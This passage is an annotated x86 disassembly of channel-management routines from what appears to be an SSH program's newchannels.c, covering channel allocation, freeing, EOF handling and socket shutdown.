08057f4b  c3                    ret


  ;
  ; >--------------------< Subroutine # 178 >--------------------<
  ;
08057f4c <Unknown0178>:
08057f4c  55                    push    %ebp
08057f4d  89 e5                 mov     %esp,%ebp
08057f4f  8b 45 08              mov     0x8(%ebp),%eax
08057f52  a3 84 7e 07 08        mov     %eax,0x8077e84   ;[in .data] 0 'x0 x0 x0 x0' ""
08057f57  5d                    pop     %ebp
08057f58  c3                    ret
08057f59  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 179 >--------------------<
  ;
08057f5c <Unknown0179>:
08057f5c  55                    push    %ebp
08057f5d  89 e5                 mov     %esp,%ebp
08057f5f  c7 05 78 7e 07 08 01 00 00 00  movl    $0x1,0x8077e78   ;1 'x1 x0 x0 x0' ""
08057f69  5d                    pop     %ebp
08057f6a  c3                    ret
08057f6b  90                    nop


  ;
  ; >--------------------< Subroutine # 180 >--------------------<
  ;
08057f6c <Unknown0180>:
08057f6c  55                    push    %ebp
08057f6d  89 e5                 mov     %esp,%ebp
08057f6f  57                    push    %edi
08057f70  56                    push    %esi
08057f71  53                    push    %ebx
08057f72  83 ec 0c              sub     $0xc,%esp
08057f75  8b 45 0c              mov     0xc(%ebp),%eax
08057f78  3b 05 54 7e 07 08     cmp     0x8077e54,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08057f7e  7e 05                 jle     08057f85 <Unknown0180+0x19>
08057f80  a3 54 7e 07 08        mov     %eax,0x8077e54   ;[in .data] 0 'x0 x0 x0 x0' ""
08057f85  8b 3d 4c 7e 07 08     mov     0x8077e4c,%edi   ;[in .data] 0 'x0 x0 x0 x0' ""
08057f8b  85 ff                 test    %edi,%edi
08057f8d  75 53                 jne     08057fe2 <Unknown0180+0x76>
08057f8f  83 ec 0c              sub     $0xc,%esp
08057f92  68 78 0a 00 00        push    $0xa78   ;2680 'x78 xa x0 x0' "x"
08057f97  c7 05 4c 7e 07 08 0a 00 00 00  movl    $0xa,0x8077e4c   ;10 'xa x0 x0 x0' ""
08057fa1  e8 ea ee ff ff        call    08056e90 <Unknown0170>
08057fa6  8b 15 4c 7e 07 08     mov     0x8077e4c,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08057fac  83 c4 10              add     $0x10,%esp
08057faf  39 d7                 cmp     %edx,%edi
08057fb1  a3 48 7e 07 08        mov     %eax,0x8077e48   ;[in .data] 0 'x0 x0 x0 x0' ""
08057fb6  7d 12                 jge     08057fca <Unknown0180+0x5e>
08057fb8  89 d3                 mov     %edx,%ebx
08057fba  89 f6                 mov     %esi,%esi
08057fbc  c7 00 00 00 00 00     movl    $0x0,(%eax)   ;0 'x0 x0 x0 x0' ""
08057fc2  05 0c 01 00 00        add     $0x10c,%eax   ;268 'xc x1 x0 x0' ""
08057fc7  4b                    dec     %ebx
08057fc8  75 f2                 jne     08057fbc <Unknown0180+0x50>
08057fca  83 ec 08              sub     $0x8,%esp
08057fcd  6a 00                 push    $0x0
08057fcf  68 30 92 05 08        push    $0x8059230   ;268 'xc x1 x0 x0' ""
08057fd4  e8 ab 7e ff ff        call    0804fe84 <Unknown0041>
08057fd9  83 c4 10              add     $0x10,%esp
08057fdc  8b 3d 4c 7e 07 08     mov     0x8077e4c,%edi   ;[in .data] 0 'x0 x0 x0 x0' ""
08057fe2  31 db                 xor     %ebx,%ebx
08057fe4  39 3d 50 7e 07 08     cmp     %edi,0x8077e50   ;[in .data] 0 'x0 x0 x0 x0' ""
08057fea  0f 85 94 00 00 00     jne     08058084 <Unknown0180+0x118>   ;148 'x94 x0 x0 x0' ""
08057ff0  83 ec 0c              sub     $0xc,%esp
08057ff3  8d 47 0a              lea     0xa(%edi),%eax
08057ff6  a3 4c 7e 07 08        mov     %eax,0x8077e4c   ;[in .data] 0 'x0 x0 x0 x0' ""
08057ffb  68 60 1c 07 08        push    $0x8071c60   ;[in .rodata] 1634760773 'x45 x78 x70 x61' "Expanding
                                                                   the array..."
08058000  e8 7b 7d ff ff        call    0804fd80 <Unknown0039>
08058005  8b 15 4c 7e 07 08     mov     0x8077e4c,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805800b  89 d0                 mov     %edx,%eax
0805800d  c1 e0 05              shl     $0x5,%eax
08058010  01 d0                 add     %edx,%eax
08058012  59                    pop     %ecx
```

```
08058013  8d 04 42                lea    (%edx,%eax,2),%eax
08058016  5b                      pop    %ebx
08058017  c1 e0 02                shl    $0x2,%eax
0805801a  50                      push   %eax
0805801b  ff 35 48 7e 07 08       pushl  0x8077e48  ;[in .data] 0 'x0 x0 x0 x0' ""
08058021  e8 9e ee ff ff          call   08056ec4 <Unknown0171>
08058026  8b 1d 50 7e 07 08       mov    0x8077e50,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805802c  8b 15 4c 7e 07 08       mov    0x8077e4c,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
08058032  89 c1                   mov    %eax,%ecx
08058034  83 c4 10                add    $0x10,%esp
08058037  39 d3                   cmp    %edx,%ebx
08058039  89 0d 48 7e 07 08       mov    %ecx,0x8077e48  ;[in .data] 0 'x0 x0 x0 x0' ""
0805803f  89 d8                   mov    %ebx,%eax
08058041  7d 24                   jge    08058067 <Unknown0180+0xfb>
08058043  c1 e0 05                shl    $0x5,%eax
08058046  01 d8                   add    %ebx,%eax
08058048  8d 04 43                lea    (%ebx,%eax,2),%eax
0805804b  29 da                   sub    %ebx,%edx
0805804d  8d 04 81                lea    (%ecx,%eax,4),%eax
08058050  89 d3                   mov    %edx,%ebx
08058052  89 f6                   mov    %esi,%esi
08058054  c7 00 00 00 00 00       movl   $0x0,(%eax)  ;0 'x0 x0 x0 x0' ""
0805805a  05 0c 01 00 00          add    $0x10c,%eax  ;268 'xc x1 x0 x0' ""
0805805f  4b                      dec    %ebx
08058060  75 f2                   jne    08058054 <Unknown0180+0xe8>
08058062  a1 50 7e 07 08          mov    0x8077e50,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
08058067  52                      push   %edx
08058068  89 c3                   mov    %eax,%ebx
0805806a  53                      push   %ebx
0805806b  ff 35 4c 7e 07 08       pushl  0x8077e4c  ;[in .data] 0 'x0 x0 x0 x0' ""
08058071  68 80 1c 07 08          push   $0x8071c80  ;[in .rodata] 1634890305 'x41 x72 x72 x61' "Array now
                                                      %d channels [first free at %d]."
08058076  e8 05 7d ff ff          call   0804fd80 <Unknown0039>
0805807b  83 c4 10                add    $0x10,%esp
0805807e  8b 3d 4c 7e 07 08       mov    0x8077e4c,%edi  ;[in .data] 0 'x0 x0 x0 x0' ""
08058084  39 fb                   cmp    %edi,%ebx
08058086  0f 8d ad 00 00 00       jge    08058139 <Unknown0180+0x1cd>  ;173 'xad x0 x0 x0' ""
0805808c  89 d8                   mov    %ebx,%eax
0805808e  c1 e0 05                shl    $0x5,%eax
08058091  01 d8                   add    %ebx,%eax
08058093  8d 04 43                lea    (%ebx,%eax,2),%eax
08058096  c1 e0 02                shl    $0x2,%eax
08058099  8b 0d 48 7e 07 08       mov    0x8077e48,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805809f  8d 54 01 14             lea    0x14(%ecx,%eax,1),%edx
080580a3  89 c6                   mov    %eax,%esi
080580a5  8d 76 00                lea    0x0(%esi),%esi
080580a8  8b 04 31                mov    (%ecx,%esi,1),%eax
080580ab  85 c0                   test   %eax,%eax
080580ad  75 75                   jne    08058124 <Unknown0180+0x1b8>
080580af  83 ec 0c                sub    $0xc,%esp
080580b2  52                      push   %edx
080580b3  e8 5c d8 ff ff          call   08055914 <Unknown0114>
080580b8  89 f0                   mov    %esi,%eax
080580ba  03 05 48 7e 07 08       add    0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080580c0  83 c0 24                add    $0x24,%eax
080580c3  89 04 24                mov    %eax,(%esp,1)
080580c6  e8 49 d8 ff ff          call   08055914 <Unknown0114>
080580cb  a1 48 7e 07 08          mov    0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080580d0  8b 55 08                mov    0x8(%ebp),%edx
080580d3  89 14 30                mov    %edx,(%eax,%esi,1)
080580d6  8b 55 0c                mov    0xc(%ebp),%edx
080580d9  89 54 30 04             mov    %edx,0x4(%eax,%esi,1)
080580dd  83 c4 0c                add    $0xc,%esp
080580e0  8b 55 10                mov    0x10(%ebp),%edx
080580e3  c7 44 30 08 ff ff ff ff movl   $0xffffffff,0x8(%eax,%esi,1)  ;-1 'xff xff xff xff' ""
080580eb  c7 44 30 10 00 00 00 00 movl   $0x0,0x10(%eax,%esi,1)  ;0 'x0 x0 x0 x0' ""
080580f3  89 5c 30 0c             mov    %ebx,0xc(%eax,%esi,1)
080580f7  c7 84 30 08 01 00 00 00 00 00 00  movl  $0x0,0x108(%eax,%esi,1)  ;0 'x0 x0 x0 x0' ""
08058102  89 94 30 04 01 00 00    mov    %edx,0x104(%eax,%esi,1)  ;260 'x4 x1 x0 x0' ""
08058109  ff 75 08                pushl  0x8(%ebp)
0805810c  53                      push   %ebx
0805810d  ff 05 50 7e 07 08       incl   0x8077e50  ;[in .data] 0 'x0 x0 x0 x0' ""
08058113  68 c0 1c 07 08          push   $0x8071cc0  ;[in .rodata] 1869376577 'x41 x6c x6c x6f' "Allocated
                                                      channel %d of type %d."
08058118  e8 63 7c ff ff          call   0804fd80 <Unknown0039>
0805811d  89 d8                   mov    %ebx,%eax
0805811f  eb 2a                   jmp    0805814b <Unknown0180+0x1df>
08058121  8d 76 00                lea    0x0(%esi),%esi
08058124  43                      inc    %ebx
08058125  81 c2 0c 01 00 00       add    $0x10c,%edx  ;268 'xc x1 x0 x0' ""
0805812b  81 c6 0c 01 00 00       add    $0x10c,%esi  ;268 'xc x1 x0 x0' ""
08058131  39 fb                   cmp    %edi,%ebx
08058133  0f 8c 6f ff ff ff       jl     080580a8 <Unknown0180+0x13c>  ;-145 'x6f xff xff xff' "o"
08058139  83 ec 0c                sub    $0xc,%esp
```

```
0805813c  68 00 1d 07 08              push   $0x8071d00  ;[in .rodata] 1702129225 'x49 x6e x74 x65' "Internal
                                                           bug in channel_allocate."
08058141  e8 16 7e ff ff              call   0804ff5c <Unknown0044>
08058146  b8 ff ff ff ff              mov    $0xffffffff,%eax  ;-1 'xff xff xff xff' ""
0805814b  8d 65 f4                    lea    0xfffffff4(%ebp),%esp
0805814e  5b                         pop    %ebx
0805814f  5e                         pop    %esi
08058150  5f                         pop    %edi
08058151  5d                         pop    %ebp
08058152  c3                         ret
08058153  90                         nop


  ;
  ; >---------------------<  Subroutine # 181 >---------------------<
  ;
08058154 <Unknown0181>:
08058154  55                         push   %ebp
08058155  89 e5                      mov    %esp,%ebp
08058157  53                         push   %ebx
08058158  52                         push   %edx
08058159  8b 55 08                   mov    0x8(%ebp),%edx
0805815c  85 d2                      test   %edx,%edx
0805815e  78 26                      js     08058186 <Unknown0181+0x32>
08058160  3b 15 4c 7e 07 08          cmp    0x8077e4c,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
08058166  7d 1e                      jge    08058186 <Unknown0181+0x32>
08058168  89 d0                      mov    %edx,%eax
0805816a  c1 e0 05                   shl    $0x5,%eax
0805816d  01 d0                      add    %edx,%eax
0805816f  8d 04 42                   lea    (%edx,%eax,2),%eax
08058172  8b 0d 48 7e 07 08          mov    0x8077e48,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08058178  8d 1c 85 00 00 00 00       lea    0x0(,%eax,4),%ebx  ;0 'x0 x0 x0 x0' ""
0805817f  8b 04 19                   mov    (%ecx,%ebx,1),%eax
08058182  85 c0                      test   %eax,%eax
08058184  75 1a                      jne    080581a0 <Unknown0181+0x4c>
08058186  68 22 1d 07 08             push   $0x8071d22  ;[in .rodata] 1851877475 'x63 x68 x61 x6e'
                                                           "channel_free"
0805818b  68 11 02 00 00             push   $0x211  ;529 'x11 x2 x0 x0' ""
08058190  68 2f 1d 07 08             push   $0x8071d2f  ;[in .rodata] 1668769134 'x6e x65 x77 x63'
                                                           "newchannels.c"
08058195  68 40 1d 07 08             push   $0x8071d40  ;[in .rodata] 1851877475 'x63 x68 x61 x6e' "channel >=
                                                           0 && channel < channels_alloc && channels[channel].type
                                                           != 0"
0805819a  e8 2d 1c ff ff             call   08049dcc <__assert_fail>
0805819f  90                         nop
080581a0  83 ec 0c                   sub    $0xc,%esp
080581a3  ff 74 19 04                pushl  0x4(%ecx,%ebx,1)
080581a7  e8 30 1b ff ff             call   08049cdc <close>
080581ac  89 d8                      mov    %ebx,%eax
080581ae  03 05 48 7e 07 08          add    0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080581b4  83 c0 14                   add    $0x14,%eax
080581b7  89 04 24                   mov    %eax,(%esp,1)
080581ba  e8 85 d7 ff ff             call   08055944 <Unknown0115>
080581bf  89 d8                      mov    %ebx,%eax
080581c1  03 05 48 7e 07 08          add    0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080581c7  83 c0 24                   add    $0x24,%eax
080581ca  89 04 24                   mov    %eax,(%esp,1)
080581cd  e8 72 d7 ff ff             call   08055944 <Unknown0115>
080581d2  a1 48 7e 07 08             mov    0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080581d7  c7 04 18 00 00 00 00       movl   $0x0,(%eax,%ebx,1)  ;0 'x0 x0 x0 x0' ""
080581de  8b 84 18 04 01 00 00       mov    0x104(%eax,%ebx,1),%eax  ;260 'x4 x1 x0 x0' ""
080581e5  ff 0d 50 7e 07 08          decl   0x8077e50  ;[in .data] 0 'x0 x0 x0 x0' ""
080581eb  83 c4 10                   add    $0x10,%esp
080581ee  85 c0                      test   %eax,%eax
080581f0  74 1c                      je     0805820e <Unknown0181+0xba>
080581f2  83 ec 0c                   sub    $0xc,%esp
080581f5  50                         push   %eax
080581f6  e8 15 ed ff ff             call   08056f10 <Unknown0172>
080581fb  a1 48 7e 07 08             mov    0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
08058200  c7 84 18 04 01 00 00 00 00 00 00  movl  $0x0,0x104(%eax,%ebx,1)  ;0 'x0 x0 x0 x0' ""
0805820b  83 c4 10                   add    $0x10,%esp
0805820e  8b 5d fc                   mov    0xfffffffc(%ebp),%ebx
08058211  c9                         leave
08058212  c3                         ret
08058213  90                         nop


  ;
  ; >---------------------<  Subroutine # 182 >---------------------<
  ;
08058214 <Unknown0182>:
08058214  55                         push   %ebp
08058215  89 e5                      mov    %esp,%ebp
08058217  53                         push   %ebx
```

```
08058218   53                        push    %ebx
08058219   8b 5d 08                  mov     0x8(%ebp),%ebx
0805821c   8b 53 10                  mov     0x10(%ebx),%edx
0805821f   89 d0                     mov     %edx,%eax
08058221   83 e0 3f                  and     $0x3f,%eax
08058224   83 f8 3f                  cmp     $0x3f,%eax
08058227   75 76                     jne     0805829f <Unknown0182+0x8b>
08058229   f6 05 1c 7e 07 08 01      testb   $0x1,0x8077e1c  ;[in .data] 0 'x0 x0 x0 x0' ""
08058230   74 22                     je      08058254 <Unknown0182+0x40>
08058232   f7 c2 40 00 00 00         test    $0x40,%edx  ;64 'x40 x0 x0 x0' "@"
08058238   75 1a                     jne     08058254 <Unknown0182+0x40>
0805823a   83 ec 08                  sub     $0x8,%esp
0805823d   83 e2 d7                  and     $0xffffffd7,%edx
08058240   89 53 10                  mov     %edx,0x10(%ebx)
08058243   ff 73 0c                  pushl   0xc(%ebx)
08058246   68 a0 1d 07 08            push    $0x8071da0   ;[in .rodata] 1668507972 'x44 x69 x73 x63' "Discarding
                                                           termination of channel %d."
0805824b   e8 30 7b ff ff            call    0804fd80 <Unknown0039>
08058250   eb 4d                     jmp     0805829f <Unknown0182+0x8b>
08058252   89 f6                     mov     %esi,%esi
08058254   83 ec 08                  sub     $0x8,%esp
08058257   ff 73 0c                  pushl   0xc(%ebx)
0805825a   68 c6 1d 07 08            push    $0x8071dc6   ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel %d
                                                           terminates."
0805825f   e8 1c 7b ff ff            call    0804fd80 <Unknown0039>
08058264   83 c4 10                  add     $0x10,%esp
08058267   f6 05 1c 7e 07 08 01      testb   $0x1,0x8077e1c   ;[in .data] 0 'x0 x0 x0 x0' ""
0805826e   74 21                     je      08058291 <Unknown0182+0x7d>
08058270   80 7b 10 00               cmpb    $0x0,0x10(%ebx)
08058274   79 1b                     jns     08058291 <Unknown0182+0x7d>
08058276   83 ec 0c                  sub     $0xc,%esp
08058279   6a 19                     push    $0x19
0805827b   e8 94 dd ff ff            call    08056014 <Unknown0138>
08058280   59                        pop     %ecx
08058281   ff 73 08                  pushl   0x8(%ebx)
08058284   e8 eb dd ff ff            call    08056074 <Unknown0141>
08058289   e8 2e de ff ff            call    080560bc <Unknown0144>
0805828e   83 c4 10                  add     $0x10,%esp
08058291   83 ec 0c                  sub     $0xc,%esp
08058294   ff 73 0c                  pushl   0xc(%ebx)
08058297   e8 b8 fe ff ff            call    08058154 <Unknown0181>
0805829c   83 c4 10                  add     $0x10,%esp
0805829f   8b 5d fc                  mov     0xfffffffc(%ebp),%ebx
080582a2   c9                        leave
080582a3   c3                        ret


  ;
  ; >---------------------<  Subroutine # 183 >---------------------<
  ;
080582a4 <Unknown0183>:
080582a4   55                        push    %ebp
080582a5   89 e5                     mov     %esp,%ebp
080582a7   53                        push    %ebx
080582a8   52                        push    %edx
080582a9   8b 5d 08                  mov     0x8(%ebp),%ebx
080582ac   f6 43 10 04               testb   $0x4,0x10(%ebx)
080582b0   75 4a                     jne     080582fc <Unknown0183+0x58>
080582b2   83 ec 08                  sub     $0x8,%esp
080582b5   ff 73 0c                  pushl   0xc(%ebx)
080582b8   68 dd 1d 07 08            push    $0x8071ddd   ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel %d
                                                           sends ieof."
080582bd   e8 be 7a ff ff            call    0804fd80 <Unknown0039>
080582c2   83 4b 10 04               orl     $0x4,0x10(%ebx)
080582c6   c7 04 24 18 00 00 00      movl    $0x18,(%esp,1)   ;24 'x18 x0 x0 x0' ""
080582cd   e8 42 dd ff ff            call    08056014 <Unknown0138>
080582d2   58                        pop     %eax
080582d3   ff 73 08                  pushl   0x8(%ebx)
080582d6   e8 99 dd ff ff            call    08056074 <Unknown0141>
080582db   e8 dc dd ff ff            call    080560bc <Unknown0144>
080582e0   83 c4 10                  add     $0x10,%esp
080582e3   f6 05 1c 7e 07 08 01      testb   $0x1,0x8077e1c   ;[in .data] 0 'x0 x0 x0 x0' ""
080582ea   74 04                     je      080582f0 <Unknown0183+0x4c>
080582ec   83 4b 10 10               orl     $0x10,0x10(%ebx)
080582f0   89 5d 08                  mov     %ebx,0x8(%ebp)
080582f3   8b 5d fc                  mov     0xfffffffc(%ebp),%ebx
080582f6   c9                        leave
080582f7   e9 18 ff ff ff            jmp     08058214 <Unknown0182>   ;-232 'x18 xff xff xff' ""
080582fc   8b 5d fc                  mov     0xfffffffc(%ebp),%ebx
080582ff   c9                        leave
08058300   c3                        ret
08058301   8d 76 00                  lea     0x0(%esi),%esi
```

```
;
; >--------------------< Subroutine # 184 >--------------------<
;
08058304 <Unknown0184>:
08058304  55                 push   %ebp
08058305  89 e5              mov    %esp,%ebp
08058307  53                 push   %ebx
08058308  53                 push   %ebx
08058309  8b 5d 08           mov    0x8(%ebp),%ebx
0805830c  f6 43 10 10        testb  $0x10,0x10(%ebx)
08058310  75 3e              jne    08058350 <Unknown0184+0x4c>
08058312  83 ec 08           sub    $0x8,%esp
08058315  ff 73 0c           pushl  0xc(%ebx)
08058318  68 f4 1d 07 08     push   $0x8071df4  ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel %d
                                               sends oclosed."
0805831d  e8 5e 7a ff ff     call   0804fd80 <Unknown0039>
08058322  83 4b 10 10        orl    $0x10,0x10(%ebx)
08058326  c7 04 24 19 00 00 00  movl $0x19,(%esp,1)  ;25 'x19 x0 x0 x0' ""
0805832d  e8 e2 dc ff ff     call   08056014 <Unknown0138>
08058332  59                 pop    %ecx
08058333  ff 73 08           pushl  0x8(%ebx)
08058336  e8 39 dd ff ff     call   08056074 <Unknown0141>
0805833b  e8 7c dd ff ff     call   080560bc <Unknown0144>
08058340  83 c4 10           add    $0x10,%esp
08058343  89 5d 08           mov    %ebx,0x8(%ebp)
08058346  8b 5d fc           mov    0xfffffffc(%ebp),%ebx
08058349  c9                 leave
0805834a  e9 c5 fe ff ff     jmp    08058214 <Unknown0182>  ;-315 'xc5 xfe xff xff' ""
0805834f  90                 nop
08058350  8b 5d fc           mov    0xfffffffc(%ebp),%ebx
08058353  c9                 leave
08058354  c3                 ret
08058355  8d 76 00           lea    0x0(%esi),%esi


;
; >--------------------< Subroutine # 185 >--------------------<
;
08058358 <Unknown0185>:
08058358  55                 push   %ebp
08058359  89 e5              mov    %esp,%ebp
0805835b  53                 push   %ebx
0805835c  51                 push   %ecx
0805835d  8b 5d 08           mov    0x8(%ebp),%ebx
08058360  f6 43 10 01        testb  $0x1,0x10(%ebx)
08058364  75 4a              jne    080583b0 <Unknown0185+0x58>
08058366  83 ec 08           sub    $0x8,%esp
08058369  ff 73 0c           pushl  0xc(%ebx)
0805836c  68 20 1e 07 08     push   $0x8071e20  ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel %d
                                               closes incoming data stream."
08058371  e8 0a 7a ff ff     call   0804fd80 <Unknown0039>
08058376  83 4b 10 01        orl    $0x1,0x10(%ebx)
0805837a  58                 pop    %eax
0805837b  5a                 pop    %edx
0805837c  6a 00              push   $0x0
0805837e  ff 73 04           pushl  0x4(%ebx)
08058381  e8 36 1b ff ff     call   08049ebc <shutdown>
08058386  83 c4 10           add    $0x10,%esp
08058389  83 3b 04           cmpl   $0x4,(%ebx)
0805838c  74 0c              je     0805839a <Unknown0185+0x42>
0805838e  83 ec 0c           sub    $0xc,%esp
08058391  53                 push   %ebx
08058392  e8 0d ff ff ff     call   080582a4 <Unknown0183>
08058397  83 c4 10           add    $0x10,%esp
0805839a  f6 05 1c 7e 07 08 01  testb $0x1,0x8077e1c  ;[in .data] 0 'x0 x0 x0 x0' ""
080583a1  74 0d              je     080583b0 <Unknown0185+0x58>
080583a3  89 5d 08           mov    %ebx,0x8(%ebp)
080583a6  8b 5d fc           mov    0xfffffffc(%ebp),%ebx
080583a9  c9                 leave
080583aa  e9 09 00 00 00     jmp    080583b8 <Unknown0186>  ;9 'x9 x0 x0 x0' ""
080583af  90                 nop
080583b0  8b 5d fc           mov    0xfffffffc(%ebp),%ebx
080583b3  c9                 leave
080583b4  c3                 ret
080583b5  8d 76 00           lea    0x0(%esi),%esi


;
; >--------------------< Subroutine # 186 >--------------------<
;
080583b8 <Unknown0186>:
080583b8  55                 push   %ebp
080583b9  89 e5              mov    %esp,%ebp
080583bb  56                 push   %esi
```

```
080583bc   53                     push    %ebx
080583bd   8b 5d 08               mov     0x8(%ebp),%ebx
080583c0   f6 43 10 02            testb   $0x2,0x10(%ebx)
080583c4   75 7e                  jne     08058444 <Unknown0186+0x8c>
080583c6   83 ec 08               sub     $0x8,%esp
080583c9   ff 73 0c               pushl   0xc(%ebx)
080583cc   68 60 1e 07 08         push    $0x8071e60   ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel %d
                                                                        closes outgoing data stream."
080583d1   e8 aa 79 ff ff         call    0804fd80 <Unknown0039>
080583d6   83 4b 10 02            orl     $0x2,0x10(%ebx)
080583da   5e                     pop     %esi
080583db   58                     pop     %eax
080583dc   6a 01                  push    $0x1
080583de   ff 73 04               pushl   0x4(%ebx)
080583e1   e8 d6 1a ff ff         call    08049ebc <shutdown>
080583e6   8d 73 24               lea     0x24(%ebx),%esi
080583e9   89 34 24               mov     %esi,(%esp,1)
080583ec   e8 57 d6 ff ff         call    08055a48 <Unknown0119>
080583f1   83 c4 10               add     $0x10,%esp
080583f4   85 c0                  test    %eax,%eax
080583f6   74 15                  je      0805840d <Unknown0186+0x55>
080583f8   83 ec 0c               sub     $0xc,%esp
080583fb   56                     push    %esi
080583fc   e8 47 d6 ff ff         call    08055a48 <Unknown0119>
08058401   5a                     pop     %edx
08058402   59                     pop     %ecx
08058403   50                     push    %eax
08058404   56                     push    %esi
08058405   e8 92 d6 ff ff         call    08055a9c <Unknown0121>
0805840a   83 c4 10               add     $0x10,%esp
0805840d   f6 05 1c 7e 07 08 01   testb   $0x1,0x8077e1c   ;[in .data] 0 'x0 x0 x0 x0' ""
08058414   74 1e                  je      08058434 <Unknown0186+0x7c>
08058416   83 ec 0c               sub     $0xc,%esp
08058419   68 88 1e 07 08         push    $0x8071e88   ;[in .rodata] 1936287828 'x54 x68 x69 x73' "This is
                                                                        emulation."
0805841e   e8 5d 79 ff ff         call    0804fd80 <Unknown0039>
08058423   83 c4 10               add     $0x10,%esp
08058426   89 5d 08               mov     %ebx,0x8(%ebp)
08058429   8d 65 f8               lea     0xfffffff8(%ebp),%esp
0805842c   5b                     pop     %ebx
0805842d   5e                     pop     %esi
0805842e   5d                     pop     %ebp
0805842f   e9 24 ff ff ff         jmp     08058358 <Unknown0185>   ;-220 'x24 xff xff xff' "$"
08058434   89 5d 08               mov     %ebx,0x8(%ebp)
08058437   8d 65 f8               lea     0xfffffff8(%ebp),%esp
0805843a   5b                     pop     %ebx
0805843b   5e                     pop     %esi
0805843c   5d                     pop     %ebp
0805843d   e9 c2 fe ff ff         jmp     08058304 <Unknown0184>   ;-318 'xc2 xfe xff xff' ""
08058442   89 f6                  mov     %esi,%esi
08058444   8d 65 f8               lea     0xfffffff8(%ebp),%esp
08058447   5b                     pop     %ebx
08058448   5e                     pop     %esi
08058449   5d                     pop     %ebp
0805844a   c3                     ret
0805844b   90                     nop


   ;
   ; >--------------------<  Subroutine # 187 >--------------------<
   ;
0805844c <Unknown0187>:
0805844c   55                     push    %ebp
0805844d   89 e5                  mov     %esp,%ebp
0805844f   53                     push    %ebx
08058450   51                     push    %ecx
08058451   8b 5d 08               mov     0x8(%ebp),%ebx
08058454   f6 43 10 08            testb   $0x8,0x10(%ebx)
08058458   74 10                  je      0805846a <Unknown0187+0x1e>
0805845a   83 ec 0c               sub     $0xc,%esp
0805845d   68 9b 1e 07 08         push    $0x8071e9b   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                                        double input eof."
08058462   e8 79 e3 ff ff         call    080567e0 <Unknown0157>
08058467   83 c4 10               add     $0x10,%esp
0805846a   83 ec 08               sub     $0x8,%esp
0805846d   ff 73 0c               pushl   0xc(%ebx)
08058470   68 c0 1e 07 08         push    $0x8071ec0   ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel %d
                                                                        receives input eof."
08058475   e8 06 79 ff ff         call    0804fd80 <Unknown0039>
0805847a   8b 93 08 01 00 00      mov     0x108(%ebx),%edx   ;264 'x8 x1 x0 x0' ""
08058480   83 4b 10 08            orl     $0x8,0x10(%ebx)
08058484   83 c4 10               add     $0x10,%esp
08058487   85 d2                  test    %edx,%edx
08058489   74 18                  je      080584a3 <Unknown0187+0x57>
```

```
0805848b   83 ec 0c                    sub     $0xc,%esp
0805848e   68 e0 1e 07 08              push    $0x8071ee0  ;[in .rodata] 1919950936 'x58 x20 x70 x72' "X problem
                                                             fix: close the other direction."
08058493   e8 e8 78 ff ff              call    0804fd80 <Unknown0039>
08058498   89 1c 24                    mov     %ebx,(%esp,1)
0805849b   e8 b8 fe ff ff              call    08058358 <Unknown0185>
080584a0   83 c4 10                    add     $0x10,%esp
080584a3   83 3b 04                    cmpl    $0x4,(%ebx)
080584a6   74 0c                       je      080584b4 <Unknown0187+0x68>
080584a8   83 ec 0c                    sub     $0xc,%esp
080584ab   53                          push    %ebx
080584ac   e8 07 ff ff ff              call    080583b8 <Unknown0186>
080584b1   83 c4 10                    add     $0x10,%esp
080584b4   89 5d 08                    mov     %ebx,0x8(%ebp)
080584b7   8b 5d fc                    mov     0xfffffffc(%ebp),%ebx
080584ba   c9                          leave
080584bb   e9 54 fd ff ff              jmp     08058214 <Unknown0182>  ;-684 'x54 xfd xff xff' "T"


   ;
   ; >---------------------<  Subroutine # 188 >---------------------<
   ;
080584c0 <Unknown0188>:
080584c0   55                          push    %ebp
080584c1   89 e5                       mov     %esp,%ebp
080584c3   53                          push    %ebx
080584c4   53                          push    %ebx
080584c5   8b 5d 08                    mov     0x8(%ebp),%ebx
080584c8   f6 43 10 20                 testb   $0x20,0x10(%ebx)
080584cc   74 10                       je      080584de <Unknown0188+0x1e>
080584ce   83 ec 0c                    sub     $0xc,%esp
080584d1   68 0a 1f 07 08              push    $0x8071f0a  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                             double close."
080584d6   e8 05 e3 ff ff              call    080567e0 <Unknown0157>
080584db   83 c4 10                    add     $0x10,%esp
080584de   83 ec 08                    sub     $0x8,%esp
080584e1   ff 73 0c                    pushl   0xc(%ebx)
080584e4   68 40 1f 07 08              push    $0x8071f40  ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel %d
                                                             receives output closed."
080584e9   e8 92 78 ff ff              call    0804fd80 <Unknown0039>
080584ee   8d 43 14                    lea     0x14(%ebx),%eax
080584f1   83 4b 10 20                 orl     $0x20,0x10(%ebx)
080584f5   89 04 24                    mov     %eax,(%esp,1)
080584f8   e8 6f d4 ff ff              call    0805596c <Unknown0116>
080584fd   89 1c 24                    mov     %ebx,(%esp,1)
08058500   e8 53 fe ff ff              call    08058358 <Unknown0185>
08058505   83 c4 10                    add     $0x10,%esp
08058508   89 5d 08                    mov     %ebx,0x8(%ebp)
0805850b   8b 5d fc                    mov     0xfffffffc(%ebp),%ebx
0805850e   c9                          leave
